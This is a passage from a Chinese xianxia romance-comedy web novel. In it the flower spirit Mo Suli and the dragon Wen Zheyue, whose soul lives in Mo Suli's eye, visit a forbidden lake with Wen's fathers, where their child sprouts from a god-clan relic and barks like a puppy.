闻折月叹了口气,太可惜了,要是他现在好好的,就可以揉一揉墨夙离的头了,懵逼的墨夙离太可爱了,像没睡醒,傻乎乎的。 “你没听过一句话吗,最不合理的解释往往就是事实。” 墨夙离呆了几秒,诚恳道:“我没听过。” “那你现在听到了。”闻折月语重心长道,“以后要好好记住,别再质疑相公说的话了,你还小,得听话。” “……” 我呸。 墨夙离摩挲着纱布,想让闻折月的世界重新变得黑暗。 留存的神族意识想让墨夙离看的就是他和神族的渊源,因而这一段回忆格外长,闻折月看到了墨夙离从一颗种子慢慢发芽,长出叶子,结出花苞。 无妄海的禁地荒无人烟,墨夙离在漫长的岁月里拥有了意识,小白龙是他见到的一个活物。 和虚无缥缈的魔气不同,小白龙是鲜活的,有意识的生物,他为不谙世事的小花带去了新的生机,让小花对外面的世界产生了渴望。 小花苞之所以能绽放,是因为小白龙,闻折月无从得知,他是墨夙离在无边岁月里的奇迹。 “你现在想怎么办?” 神族供养了小花,墨夙离本来就是神族的庇护者,闻折月了解墨夙离,如果他只是幸存的神族,那过往的一切墨夙离都可以轻易抛下,仇恨与过去永远无法阻拦他的脚步。 但知道神族为了他做过什么后,墨夙离就不能无动于衷了。 墨夙离沉默了一会儿,摇头:“我还没想好。” “您与我族命运相连,我们等了太长时间,才等到您的降临……” 神族对墨夙离的到来充满了惊喜,在日复一日的期待中,他们的庇护者终于降临:“苍天有眼,您一定会令我族重现于世。” 神族渴望着打开异界的大门,在世间重新写下他们的名字。 墨夙离是他们最后的希望。 所愿即成,就连怨恨都逐渐消散,困住墨夙离的囚笼顷刻间化为乌有,灰蒙蒙的世界又恢复了原样,好像什么都没有改变。 但墨夙离心里清楚,有变化的。 就算神族与仙魔两族是狗咬狗,最后的结果是罪有应得,哪一方都不值得同情,但神族终归给了他生命,曾有无数人守护着他。 他不能辜负他们。 闻折月见到了千年未见的爹爹们,时间好像变成了一个简单的数字,没有在他们身上留下任何痕迹。 闻逍和蔺月盏悄悄交换了一个眼神,他们都发现了墨夙离身上的变化,不仅是左眼,还有身上的气质,仿佛经历了洗礼,身为魔族的气息全都消失了。 直到这一刻,他好像才真正变成了神族。 一时之间没人开口,妙回春抹了把脸:“先离开这里再说吧。” 他刚刚经历了太多,现在看墨夙离都有种别扭的感觉,就好像家里的混球孩子摇身一变成了高不可攀的存在,就很……不适应。 一路上,妙回春没少偷看墨夙离。 墨夙离还沉浸在往事之中,心绪杂乱,并没有注意到他的视线,但闻折月看得一清二楚:“你是不是要生了?” “啊?” “妙回春一直在看你。” 要是换个人,闻折月第一反应就是对方是不是对墨夙离产生了别样的心思,但妙回春,他很放心,被狗咬的经历让他能够无视墨夙离的脸。 墨夙离摸了摸肚子,没什么感觉。 又回到了魔宫,墨夙离的心情发生了翻天覆地的变化,之前他把魔宫当成自己的地盘,现在蔺月盏这位前魔尊在身边,他的心情不可谓不复杂。 如果不是有闻折月这层关系在,他和蔺月盏或许还得打一架。 像是地盘被抢了,但他并没有觉得憋屈,反而有一种说不清道不明的暗爽,底气来源于丹田里的小护身符。 墨夙离暗自叹息,他堕落了。 看到了躺在魔宫里的闻折月,情况和墨夙离预计的差不多,他并没有惊讶,大吃一惊的反而是妙回春:“哎呀!怎么弄成了这样?!” 恍惚之间,他还以为看到了小时候的闻折月。 蔺月盏不动声色地看了眼墨夙离,平静道:“自爆神魂。” 妙回春瞠目结舌,连忙搭住闻折月的脉,他甚至没时间惊讶自己修为恢复的事情,眼珠子都快瞪出来了:“他的神魂消散了?!” 现在床上躺的就是一具空壳。 “怎么可能,神魂——”闻逍话音一顿,不敢置信地低下头,他没有从闻折月的身体中牵引出神魂。 原本还能保持从容镇定的两位老父亲彻底慌了神:“怎么会这样,我们离开之前神魂还在的,怎么会……有谁来过这里?” 蔺月盏第一反应就是去找魔族侍卫,墨夙离连忙拦住他:“那什么,我有件事忘了说。” 偷偷把人家儿子的神魂弄走了,还没有第一时间告诉人家,跟拐卖成年龙有什么区别。 墨夙离讪讪地指了指左眼,不好意思道:“闻折月的神魂在这里。” “什么?” 墨夙离将同心命契的事情简单解释了一下,原本就大吃一惊的三人听完后沉默了很久,闻逍和蔺月盏早有猜测,但没想到事实比他们的猜想更加匪夷所思。 妙回春对他们之间的爱恨情仇不感兴趣,他第一时间就总结出了救治闻折月的关键:“所以只有你能救他,当务之急是找回你的力量。” 简而言之,他帮不上一点忙。 第一医修大受打击,他引以为傲的医术毫无作用,难不成他以后真就剩下帮墨夙离带孩子一条路了? 墨夙离“嗯”了声,将闻折月的神魂牵引出来,魂魄仍然不成型,情况没有一点好转:“二位放心,我一定会救活他。” 只是活着还不够,他要闻折月活蹦乱跳。 闻逍和蔺月盏没作声,在知道闻折月的神魂拥有意识,在墨夙离身上能看到他们时,闻逍没忍住,非常和善地问了一个问题:“现在揍他,会不会把他揍死?” 墨夙离噎住:“按理来说不会。” “好,谢谢你,你是个好孩子。”闻逍反手一个脑瓜崩敲在闻折月脑门上,“见到爹爹都不知道打招呼,长大了翅膀硬了。” 闻折月:“……” 他虽然感受不到疼,但这对他英俊的面庞造成了很大伤害。 我的亲爹啊,你能不能控制一下你的手劲儿,你儿子我的脑袋都被你弹红了! 蔺月盏拉开闻逍,闻折月顿觉天降救星,跟墨夙离哭诉:“还是我小爹爹对我好,我是他身上掉下来的一块肉,等以后咱们的小崽子出生了,你肯定也会很疼爱它的。” 墨夙离不置可否:“这可说不准。” 他的本意是说他不会溺爱小崽子,但蔺月盏接下来做的事显然超出了所有人的想象。 蔺月盏面无表情,在闻逍弹过的地方又补了两个脑瓜崩,很脆很响,比闻逍的手劲儿大多了:“你用的力气太小了,他随你,皮厚。” 闻逍:“……” 闻折月:“……” 墨夙离没忍住,笑出了声:“你小爹爹好疼爱你,连你皮厚都考虑到了。” 猛龙的尊严遭受到了毁灭性打击,闻折月蔫头耷脑,窝在一旁生蘑菇去了,墨夙离心下好笑,同时面对闻逍和蔺月盏也不像之前一样紧张了。 事不宜迟,墨夙离主动提道:“我想去一趟玉海明沼,那里应该有找回力量的办法。” 闻逍和蔺月盏自然不会拒绝:“一起去吧,留个人照看折月就行了。” 几双眼睛不约而同地看向妙回春。 妙回春:“???” 怎么着,还没开始照顾小崽子,先拿崽子他爹练练手? 三人没管妙回春的意见,决定他作为留守人员,当即就出了魔宫,直奔玉海明沼而去。 玉海明沼如今是仙界禁地,又有无数仙兵仙将把守,要想进去恐怕不容易,墨夙离有点担心,下一秒他的担忧就被闻折月打破了:“担心什么,你是去想办法救我的,拦着你就是拦着不让救我,你觉得我的两个爹会袖手旁观吗?” 对啊! 他和闻折月现在是一根绳上的蚂蚱,闻折月的爹就是他的爹,有爹不用是傻子! 墨夙离顿时支棱起来了,雄赳赳气昂昂,连腰板都挺直了:“两位前辈跟我来,玉海明沼就在前面,到时候你们拖住仙兵仙将,我去里面,咱们分头行动,争取今天就把傻子龙救活。” 闻逍闷笑:“傻子龙?” 蔺月盏沉默两秒,也笑了声:“挺贴切的。” 一不小心把心里话都秃噜出来的墨夙离瞬间回神,差点从云朵上掉下去。 闻折月哼哼:“某人是不是得意忘形了?” 墨夙离挠挠脸,不怪他,能指挥仙界战神和魔界大魔王的机会可不是谁都有的,一时得意是人之常情:“你闭嘴,别影响我们。” “好好好,我闭嘴。”闻折月莞尔,“不影响你们联络感情,毕竟以后都是一家人,多多交流是好事。” 为了促进家庭内的和谐,当一回傻子龙也无妨。 到了玉海明沼,闻逍突然道:“计划有变。” 墨夙离吓了一跳,顿时警惕起来:“怎么了?” 莫非是仙兵仙将太多了,仅靠闻逍和蔺月盏拦不住? “不用兵分两路了,我们可以一起进去。”闻逍朝前面走来的仙兵仙将们努努嘴,语气里满是逗小孩的揶揄,“给你介绍一下,仙界的镇南镇北镇西镇东将军,我以前的副将,也算是你半个叔叔。” 一瞬间从战斗模式切换到了家长里短,墨夙离陷入了呆滞。 闻折月忍俊不禁:“忘了告诉你,咱们家有点人脉。” 墨夙离:“……” 第52章 第 52 章 好好好。 有爹的孩子像块宝, 爹越强,拿你当宝的人越多。 墨夙离深感佩服,同时对闻折月能混到今天这副鬼样子产生了巨大的疑惑:“你当时自爆神魂干什么, 为什么不喊你爹帮忙?” “我爹又不在场, 我喊了也没……” 真没用吗? 闻折月回忆了一下,闻逍和蔺月盏离开之前, 好像似乎也许大概提到过一嘴,这一分别不知何时才能再见,闲着没事不用惦记他们, 但到要死要活的时候, 也别忘了找他们。 他当时没往心里去。 真到命悬一线的时候,他爹还能从天而降不成? 看着他出事之后突然回来的闻逍和蔺月盏,闻折月陷入了深深的沉默, 嘿, 他爹好像真的能从天而降。 “你果然是个傻子。”墨夙离已经不知道该说他什么好了,有这么厉害的爹都不会用,暴殄天物啊! 闻折月坚决不承认自己当时脑子转不动, 没想到这茬,疯狂找补:“我这不是寻思着你是我的娘子,怀着我的崽子,我救你是天经地义的事情,叫我爹来救你, 不合礼数。” “……” 是让你爹救我, 又不是让你爹娶我,有什么不合礼数的? 墨夙离呵呵一声:“你刚刚还说我们是一家人, 原来心里把我和你家里人分得清清楚楚,别狡辩了, 你就是一条花心龙。” 闻折月哑口无言。 怎么回事,怎么感觉他智商不高的娘子最近反应变快了,一点都没有孕傻的迹象。 闻折月数不清这是他今天第几次吃瘪了,曾经的辉煌不复存在,如今闻逍和蔺月盏回来了,就连墨夙离都爬到他头顶上了,他在家里的地位一落千丈。 等崽子出来了,保不准也会爬到他头顶。 思及此,闻折月顿时有了危机感:“我和崽子同时掉进水里,你先救谁?” 墨夙离:“?” “你快说啊,你先会救谁?” 好端端的又发什么疯? 墨夙离牙疼似的,试图和他讲道理:“你是龙,淹不死,崽子——” 闻折月委屈巴巴地打断他:“所以你会先救崽子吗?” 墨夙离毫不怀疑,如果他回答“是”,下一秒闻折月就会一哭二闹三上吊,搅得他不得安宁:“不,我谁都不救,要是崽子淹死了,那也是它的命数。” 不是他冷血,他和闻折月的崽子要是会被淹死,那也没活的必要了。且不说他,闻折月那可是龙族血脉,听说过旱鸭子,没听过旱龙的。 闻折月还是不满意,闷闷不乐地跟他说正确答案:“不能不救,你得先救我。” 山不来就我,我便去就山,墨夙离不会哄他,那他就教墨夙离怎么哄。 墨夙离长叹一声:“真想快点把你治好。” 这样就能揍你了。 什么先救谁,救不救的,问出这种问题的闻折月就该被他揍一顿,吃饱了撑的,揍一顿就好了。 闻逍短短几句寒暄就让驻守在玉海明沼的仙兵仙将让了路,墨夙离拔腿就往里跑,蔺月盏看了他一眼,对闻逍道:“你留在这里。” 他们来玉海明沼的消息很快就会传到天帝耳朵里,要不了多久,天帝就会赶过来。 闻逍朝远处看了一眼,隐约可见云层聚拢,风雨欲来,只怕天帝来得比他们想象中更快:“小心点,别受伤,折月有他的命数,我们掺和不了。” 蔺月盏默不作声,闻逍在这方面比他看得透彻,他知道闻逍说得没错,闻折月能不能活是他的命数,但他还是控制不住想要多帮一把。 或许这就是为人父母的通病。 “这个拿上,或许用得到。”闻逍把金色的琥珀石头交给他。 蔺月盏挑了下眉头:“你确定?” 这是神族的尸骸所化,传说最初的神族托生于草木,世间还有草木灵植,那神族就不会灭绝。 当初被灭族时,仙魔两族害怕神族卷土重来,将所有人挫骨扬灰,尸骨都没留下一点。他们在神族遗址搜寻了千百年,几乎将那片土地翻了个遍,才找到这么点和神族相关的东西。 这或许是解开诅咒的关键。 “如果墨夙离想要报复仙魔两族,这个交给他,只会加速世间的灭亡。”蔺月盏摩挲着手里的琥珀,调侃道,“看来心怀天下的仙尊大人在儿子和天下人之间选择了前者。” 还劝他看开点,自己不也做不到袖手旁观。 闻逍故作无奈:“那能怎么办,我要是选后者恐怕今晚就会被剥夺使用床铺的权利,牡丹花下死,做鬼也风流……管他那么多,反正我选和你睡觉。” 蔺月盏好气又好笑,嗤了声:“还想睡觉,你先拦住人再说吧。” 来人已到,蔺月盏转身就走,闻逍暗叹一声,冲着天帝扯出一个笑,拦住他的去路:“打一架?” “你是不是疯了?!”天帝气得说不出话来。 闻逍因为闻折月和他打架,他可以理解,为人父母心疼儿子情有可原,但现在事关仙族与神族的大事,闻逍还要挡在他面前,这是和整个仙界为敌。 “你这是想陷我于不义,置仙界众人于死地!” “你没有子嗣,不明白。”闻逍叹了口气,用袖子擦了擦逐日枪,“我不是要置仙界于死地,我只是做了一个男人应该做的事情,保护儿子,还有儿子的孩子。” 说到这里,闻逍又乐呵呵地炫耀了一嘴:“你知道我儿子有孩子了吗?” 天帝在心里骂骂咧咧,他对墨夙离赶尽杀绝就是因为墨夙离怀了孩子,闻逍这是在点他呢。 “啧,孤家寡人不懂儿孙绕膝的快乐。” 天帝皮笑肉不笑,琉璃火噌的一下烧了起来:“别废话了,动手。” 他忍不了了,闻逍这厮太欠揍了。 两人真刀真枪地打了起来,仙兵仙将们都傻了眼,已经进入玉海明沼的墨夙离和蔺月盏也听到了动静,墨夙离停下脚步,面上难掩担忧。 蔺月盏头都没回:“不用管他们。” “会不会出事?”墨夙离有点担心,当然不是担心天帝,他担心闻折月少个爹。 “放心,天帝打不过他,至于琉璃火,确实有点麻烦,不过……”蔺月盏深深地看了他一眼,“现在琉璃火应该也快灭了。” 墨夙离:“?” 他觉得蔺月盏话里有话。 玉海明沼外的琉璃火阵也灭了,难道其中有什么联系吗? 墨夙离将疑问暂且压进心底,转而看向前方,湖泊向外扩张的速度很快,已经远远超出白椿丛生长的范围,他没让蔺月盏继续向前:“我自己进去就好。” 蔺月盏没说什么。 墨夙离以为他在担心,信誓旦旦道:“我保证会把闻折月救活。” “你误会了。”蔺月盏拿出那块金色的琥珀,温声道,“听说你和折月拜过堂了,作为长辈,也没给你准备见面礼,这是神族的尸骨所化,我们这些年也就是为了这玩意儿在外奔波,恰好你是神族,送给你也合适。” 墨夙离手足无措:“不行,这太贵重了。” 他虽然不知道神族遗骨的用处,但能让闻逍和蔺月盏奔走千年,想必十分重要。 “拿着吧,折月冲动,还望你多担待。” 闻折月暗戳戳地帮腔:“对对对,拿着吧,这代表公婆认可你了。” 墨夙离知道蔺月盏的意思,其实蔺月盏不这样做,他也会尽心尽力的,闻折月是为了救他才变成现在这样的,他必须对闻折月负责。 他接过那块石头,一种熟悉的感觉油然而生,墨夙离浑身一震,眼睛亮了起来:“这个……真的给我吗?” 蔺月盏微微颔首,仿佛没有看到他的惊讶,大手一挥:“没错,给你了。” 墨夙离按捺住心中的激动,一改客气的态度,连语气都热切了几分,恨不得抓住蔺月盏的手好好道谢:“多谢,多谢爹爹!” 闻折月:“???” 不就是块破石头,有什么魔力? 轻而易举就让墨夙离改口了,这么好用,赶明他也去找一点。 墨夙离喜滋滋地拿着石头往湖泊里走,随着他的靠近,溢出来的液体向两侧分开,仿佛在欢迎他一般。 蔺月盏看到这一幕,不由得叹了口气,看来他们猜得没错,墨夙离果然是解除诅咒的关键。 只是这世间未来会走向什么样的结局,还要看他们的选择。 “这破石头有什么用?”闻折月很好奇。 “这可不是破石头。” “所以有什么用?” 墨夙离噎住,要说有什么用处,他还真不知道,他只知道这东西很重要,潜意识告诉他必须要拿到手。 墨夙离迟疑道:“可能是我的壳?” 闻折月怔住:“……壳?” “你是从龙蛋里出来的,有蛋壳,我觉得我可以也有壳。”墨夙离若有所思,“就叫花壳。” 闻折月哑口无言。 墨夙离却觉得自己的猜测没有错:“这石头里面是空的,看起来就像一朵花,或许以前我就住在这里面。” 明显能看出这块琥珀缺少了一部分,对准阳光,看得更加清晰,的确和墨夙离说得一样,空心的位置就像是一朵花。 闻折月将信将疑:“所以玉海明沼不是你的老家,你真正的老家是这块石头?” 墨夙离的老家已经从无妄海禁地变成异界,接着变成玉海明沼,现在又变成了这块石头。 “四海为家,说得就是你。” “正是因为没有真正的家,所以才会有这么多暂居之处。” 墨夙离是随口一说,闻折月却听了进去,心里酸酸的:“从今以后,折月秘境就是你的家,真正的家,我和爹爹们都是你的家人。” 丹田里的小花挥舞着叶子,似乎在附和。 从异界出来后,小花似乎有了意识,能够听到他们说话,经常会配合着做出反应,如今就像在告诉墨夙离,它也是他的家人。 不再是一朵寄生在丹田里的花,墨夙离开始真的感觉到一个生命在他的身体中孕育。 他垂下眼帘,小声嘟哝:“我可不敢住,说不定哪天就让你关在里面出不来了。” 闻折月有前科,是热爱囚禁人的变态龙。 嘴上不乐意,但墨夙离心里甜滋滋的,他在认识这个世界之前就认识了闻折月,闻折月是他最喜欢的人,是他的初心和梦寐以求。 余生和闻折月组成一个普通的家庭,一定会很幸福。 而他最想要的就是幸福。 走到湖泊边缘,墨夙离犯了难:“我要直接跳下去吗?” 说实话他有点害怕,湖泊吞噬仙官尸体的画面还历历在目,万一之前的猜测中有一环出了差错,他可能就会葬身于此。 幸福触手可及时,就更加惧怕意外。 “刚刚湖水避开了你,要不你先把脚伸过去试试,不行的话……”闻折月没说下去。 “不行的话我就少了一只脚,变成个残废,以后省得打断腿的功夫了。” “好哇好哇!” “好个屁!” 墨夙离暗暗在小本本上又记了一笔,等闻折月好了,他全都要讨回来。 在身上摸索了一圈,没找到可以使用的东西,墨夙离思索了一下,从头上拔了一根头发:“头发也是我的一部分,就用它了。” 头发被扔进湖泊,墨夙离俯身,几乎要趴在湖边,眼睛一眨不眨地盯着头发的变化,湖水分开,头发落下去,落下去,落下去…… 最后没影了。 墨夙离皱眉:“我的眼睛,你看清楚了吗?” 闻·眼睛·折月语气严肃:“我看到头发掉下去了,不知道有没有被吞噬,但肯定是淹没了。” 两人趴在湖边,叽里咕噜讨论着。 外围,一直紧密观察着情况蔺月盏默默打出了一个问号。 他的儿媳妇这是……返祖了? 从他的方向看过去,墨夙离手脚着地趴在湖边,反正看起来不像个人。 神族幸存的人竟然是这个样子……嗯,感觉世界不会灭亡了。 闻折月和墨夙离讨论了一会儿,终于达成共识——下水。 因为闻折月说的一句话触动了墨夙离:“你就跳下去,反正真死了也有我给你垫背。” 丹田里的小花热烈响应,垫背人选再加一位。 墨夙离仔细想想也是,他们三个现在在一条船上,真要出点事,在地府里还有继续当家人。 于是他一声招呼都没打,从地上爬起来直接跳进了湖里。 蔺月盏被吓了一跳,连忙追过去,他腾空避开了湖水,只看到水面荡起一圈圈涟漪,连个泡泡都没冒出来,墨夙离就没影了。 沉下去了。 该不会出什么事吧? 蔺月盏忧心忡忡,就在这时,身后的打斗声也停下来了,他回头看了一眼,闻逍和天帝相对而站,齐刷刷地看着同一个方向。 那里,是无妄海的方向。 在遥远的海面上,万丈狂澜拔地而起,滔天巨浪几乎飞溅到了天边,云朵聚拢,电闪雷鸣。 天帝回头瞪了闻逍一眼,当即带着仙兵仙将离开了。 闻逍摸了摸鼻子,来到蔺月盏身边:“这回闹大喽。” 蔺月盏睨了他一眼:“我怎么感觉你挺高兴的?” “可不高兴嘛,不用再陪天帝打架了,他弄不死我,我也不想弄死他,这架打得忒没劲了。” 闻逍收起枪,他有预感,逐日枪要回到他真正的主人手里了:“天帝心里有数,神族的事情必须有个了结,只是他在这个位置上,盯着他的人太多了,他不可能将主导权交到别人手里。” 更何况墨夙离伪装成魔族,本身就对仙界有偏见,如若不做点什么,恐怕会任人宰割。 闻逍啧啧,又开始发表见解:“所以说不能当官,尤其不能当一把手,事太多,连陪老婆睡觉的时间都没有,还要被人骂。” 说的就是天帝。 蔺月盏默默翻了个白眼,你以为你被人骂得少吗? “儿媳妇呢?” “跳河了。” 闻逍愣住:“嗯?” 蔺月盏指了指玉海明沼深处,在墨夙离跳下去之后,湖水消退了很多,并且湖泊的水位还在持续性下降。 八成和无妄海的风波有关系。 他们猜得没错,如今墨夙离已经通过玉海明沼的湖泊去到了无妄海,严格来说,是已经消失的无妄海禁地。 魔气从四面八方汇聚而来,墨夙离看到了被刨开的土地,那里曾是他生长过的地方。 墨夙离往前走了两步,没化形前的记忆在脑海中闪过,他蹲下身,摸了摸那个小坑:“这里是你挖出来的。” 闻折月也想到了那段日子:“我挖的可仔细了,连铲子都不敢用,拿小饭勺一点点挖……你随身携带饭勺子,是不是因为我?” 他思维跳跃,话题突然就换了。 墨夙离想说不是,他当时早就忘记了闻折月,但仔细想想,又不太确定了,他也说不清为什么,似乎是潜意识里残留的印象。 爱是隐藏不住的,就算忘记了,还会留下痕迹。 闻折月问那茬也是随口一提,没打算得到答案,又开始碎碎念:“花要埋在土里才能长出来,也就咱们家的崽子特殊,长在你的丹田里。” 这话刚说完,就从墨夙离身上掉下来一个东西,金色的一块,赫然是他刚从蔺月盏那里得到的见面礼。 见面礼正正好好落在小坑里,琥珀在泥土里泛着明亮的光。 闻折月幸灾乐祸:“你的壳掉进去了。” 他见不惯墨夙离宝贝其他东西,就算是块石头也不行。 话音刚落,一抹金光从墨夙离腹部钻出来,正正好好落进了那块琥珀里,空心的琥珀被填充完整,散发出来的光芒愈加耀眼。 墨夙离沉默了一会儿,略有些迟疑,道:“你的崽子好像也掉进去了。” 闻折月:“……你一定是在开玩笑。” 墨夙离摸了摸肚子,平了,他查看了一下丹田,里面空空荡荡的。 他这次沉默的时间有点长,语气也变得艰涩:“不,我没有开玩笑。” 崽子真他娘的没了!没了!! 从心音里共享到了墨夙离的心路历程,闻折月发出尖锐爆鸣声:“你快把我们的崽子捞出来啊!” 墨夙离刚伸出手,那块石头就“咔嚓”一声,裂开了一道缝隙,而后一株金色的小芽从石头里钻出来,跟猛灌了几瓶激素药一样,噌噌噌往上长。 出芽,抽枝,枝叶舒展,长出一个拳头大小的花苞。 闻折月瞠目结舌:“崽子和你一模一样。” 金色的小花和曾经的小美如出一辙。 墨夙离还没反应过来,花苞就缓缓绽开了,和小美不一样,这朵花的花蕊是水蓝色的,冒出了尖后颜色越来越淡,最后变成很清透的蓝色,散发着莹白的光,乍一看,就像是闻折月龙鳞的颜色。 墨夙离瞪大了眼睛:“也有像你的地方。” 他无比真切地意识到一点:这是混合着他和闻折月血脉的小崽子。 小花挥舞着叶子,贴上了墨夙离的手指,就像他曾经用叶子去触碰小白龙的手一样,在这一瞬间,一道稚嫩清脆的童音同时响彻在闻折月和墨夙离的脑海中。 “汪!” 第53章 第 53 章 婴孩呱呱坠地, 学会的第一个音大多是“爹爹”和“娘”,一张嘴就“汪汪”叫的,爹娘或多或少得沾点狗的基因。 闻折月和墨夙离面面相觑, 被这一嗓子给喊懵了。 闻折月:“我家祖上没有狗的血脉, 我爹是蛇,后来凭本事蜕变成龙了, 我从一出生就是龙。” 墨夙离:“我是朵花,草木和动物差别大了,你见过什么植物和狗有关?” 闻折月:“狗尾巴草。” 墨夙离:“……” 闻折月:“一定是你经常‘汪汪汪’, 让小崽子误会了它是狗。” 墨夙离:“哪里有经常, 我只汪过一次!” 闻折月:“崽子随我,聪明,只听你汪了一次就学会了。” 墨夙离:“……” 好好好, 聪明是随你, 狗叫是学我,你可真对得起“皮厚”二字。 墨夙离气呼呼地在小本本上又记了一笔。 小崽子是个顶顶聒噪的崽子,这点也随了闻折月, 挥舞着叶子“汪”个不停。 心音世界里充斥着狗叫声,闻折月和墨夙离被吵得头疼,感觉像是被几十条狗包围了。 花没有嘴,不然墨夙离早就把它的嘴捂住了:“你能先安静一会儿吗?” 闻折月语气凉凉的,恐吓道:“崽, 你爹爹最烦人家在他耳朵边叽叽喳喳吵他, 你再不闭嘴,就要挨揍了。” 小崽子摇晃着叶子, 似乎有些疑惑:“汪?” 母子连心,墨夙离孕育了小崽子的身体, 在这一刻,他洞悉了小崽子心里的想法,没忍住笑了声:“崽说你在骗它,你叽叽喳喳个没完都没被我揍。” 闻折月:“……” 这崽子果然威胁到他的地位了。 “不过崽你说错了,爹爹没有骗你。”墨夙离屈指弹了弹叶片,又拽了拽花瓣,一点都不怕把花弄坏,“吵到我,不管是人还是花都会被我揍,至于你爹爹,那是因为现在揍不了他。” 他的小本本上已经记了很多笔,就等闻折月活蹦乱跳后统一收账了。 “所以闭嘴,懂吗?” 温温柔柔的一句话,但其中的威胁意味很浓厚。 小崽子默默缩回了叶子,或许是因为它还小,沟通全靠接触,不碰到叶子不会听到心声。 没有了吵得人头疼的狗叫声,闻折月和墨夙离这才能静下心来分析眼前的情况,墨夙离很骄傲:“我就说那是我的壳吧,花有壳才能发芽。” “爹爹说过,那石头是他们从神族遗址找到的,或许里面蕴含着神族的力量,你和崽子,你们这种花要发芽都需要神族的力量供养。” 闻折月以前听说过相似的故事,墨夙离和神族之间的关系有点像共生,他庇护着神族,而神族负责培育他。 “这么说来,要是没有这石头,崽子一辈子都发不了芽,一辈子都会长在我的丹田里?”墨夙离倒吸一口凉气,不由得后怕起来,怀胎十月都很恐怖,怀一辈子岂不是更恐怖。 他摸了摸恢复平整的肚子,心有余悸道:“多亏了爹爹,从今往后,爹爹们就是我的恩人。” “爹爹们是你的恩人,我是你恩人的儿子,那我也算你半个恩人。”闻折月做足了挟恩图报的架势,“小酥梨,赶明儿就得嫁入我家报答恩情,每天给我暖床,陪我玩乐,喜欢我必须比喜欢其他人多,不能为了崽子忽略我……” 絮絮叨叨没完,真不知道他怎么有那么多要求。 “知道了吗?” 墨夙离眨了下眼睛:“你在吃崽子的醋吗?” 崽子“出生”后,闻折月的圈地盘意识又觉醒了。 墨夙离觉得好笑,同时心里又有一点得意,哼哼,傻子龙超喜欢他的。 同心命契早早就把他们联系到了一起,小白龙太小了,墨夙离最近时常在想,究竟是闻折月对苏梨一见钟情,还是同心命契让他们不得不在一起。 当爱意越发深厚时,没有谁能不患得患失。 闻折月频频发作的占有欲正好给了墨夙离安全感。 “放心,我最……” 他依旧说不出喜欢。 墨夙离捏了捏耳垂,那里烫得厉害:“你永远都比崽子重要,十个它都不能和你比。” 面前的小崽子在风中凌乱,叶子仿佛都要枯萎了:汪? “我已经找好人帮忙看崽子了,妙回春他会医术,崽子生病了也不怕,到时候就让他把崽子带回去养。”墨夙离想了想,又觉得把崽子交给一个外人不太合适,“你说爹爹们有含饴弄孙的想法吗?” 闻折月愣了一会儿才回过神来:“你不想自己带崽子吗?” “不想。” 墨夙离想也没想就拒绝了,他皱皱鼻子,嫌弃道:“带孩子很累的,压力也大,我可不想每天睡不好觉。” 天大地大,睡觉最大,就算亲生崽子也不能改变这一点。 墨夙离的洒脱远超闻折月想象,或许是天性使然,花草树木生长都有自己的空间,不像动物,绝大部分是群居。 不仅是墨夙离,就连小崽子也没有多伤心,经过了最初的震惊后,叶子又欢快地摇了起来,接受速度飞快。 闻折月哽住,突然觉得暗戳戳争宠的自己很幼稚。 他还没有小崽子成熟。 “所以我们从玉海明沼来到了无妄海禁地,禁地原本消失了,现在又出现了,不知道会不会对外界造成影响。” 闻折月语气深沉,问道:“你知道怎么找回力量了吗?” 墨夙离没拆穿他故意转移话题的事情,从善如流道:“我是在这里化形的,力量应该也留在这里,或许再被雷劈一次,力量就会回来了。” 上一次的雷劈得闻折月身体和神魂都碎了,眼下只有墨夙离和小崽子在,没人帮忙挡劫雷,闻折月立马提出了反对意见:“不行。” “怕我扛不住?” “你这不是废话吗?” 墨夙离笑笑,拖长了调子,戏谑道:“闻折月,你好爱我哦~” 风水轮流转,两人的地位一下子就变了。 闻折月沉默了一会儿,索性破罐子破摔:“你刚知道吗?我爱你爱得都没有人样了,也就你个没良心的感觉不到。” “我感觉到了。” “你感觉到了,以前为什么不让我多睡几次?” 墨夙离一下子就哑巴了。 闻折月语重心长道:“我这么爱你,你要是不答应我一次十天,你就是没良心,辜负了我的一片真心。” 奇了怪了,龙族是不是天生脑子转得就快,明明刚刚还是他占上风,怎么三言两语闻折月就堵得他不敢吱声了。 墨夙离很费解。 “劫雷一时半会儿也急不来,让崽子在这里长一长吧,我们出去看看。” 转移话题的人变成了墨夙离。 闻折月没有表决权,墨夙离戳了戳小崽子:“乖乖长大,爹爹们出去看看情况,知道了就汪一声。” 小崽子兴奋道:“汪!” 像只精力旺盛的小狗崽。 闻折月无语至极:“你再这样教下去,它的狗性会越来越重的。” “那不是正好,以后你俩同时掉进水里,崽子还能狗刨着去救你。” “……” 墨夙离扳回一城,雄赳赳气昂昂地离开了禁地,一从无妄海冒头,就被仙兵仙将围了个严严实实,天帝虎视眈眈,不知守株待兔了多久:“墨夙离,你终于现身了。” 墨夙离浑身一悚,失策了。 仙兵仙将们领头的正是镇南镇北镇东镇西四位将军,墨夙离向叔叔们投去期待的目光,下一秒,四人就齐刷刷地偏开了头。 “……” 这人脉看来还是没彻底打通。 跑也跑不掉,爹爹也没到,墨夙离深吸一口气,扯出一个笑:“这么大的阵仗,天帝是想挑起仙魔大战吗?” “墨夙离,你是神族的漏网之鱼,休要拿魔族当借口。”天帝气势汹汹,沉声喝道,“我仙界大军在此,今日必当诛杀你这神族余孽,以祭奠无辜仙官的在天之灵!” 玉海明沼和无妄海相继出现了变故,墨夙离带来的影响越来越多,仅仅杀死他腹中的孩子已经不够了。 如今的墨夙离拥有一双金色的眸子,和曾经神族一模一样。 天帝心情复杂,他第一次见到墨夙离时就想起了神族,当时只道那只眼睛独特,万万没想到,墨夙离真是来复仇的已故之族。 神力还没取回,面对仙界大军没有丝毫胜算,墨夙离为自己捏了一把冷汗:“那些仙官的死与我无关。” “仙官们死于黑雾之手,而黑雾与神族关系匪浅,你是神族,自当为此事负责。” “如此说来,若是天帝你犯了错,整个仙族都要为你的错误负责吗?” 天帝一声令下,大军逼近:“墨夙离,别想拖延时间,今日就是你的死期。” 完了完了,这招没用。 墨夙离躲过攻击,默默做好了鱼死网破的准备:“仙尊大人,还是连累你了。” 闻折月不置可否,安慰道:“我掐指一算,你我命不该绝。” “你有办法就别卖关子了,赶紧说出来。” “叫爹。” 闻折月认真道:“遇事不决就叫爹,你要坚信爹爹们会从天而降,拯救你于水火之中。” 墨夙离怀疑他的脑子被闻折月踢了,不然他怎么轻易就信了闻折月的鬼话,真的扯着嗓子喊了一声:“爹——” 这一声足够响亮,别说仙兵仙将了,就连天帝都愣了一下。 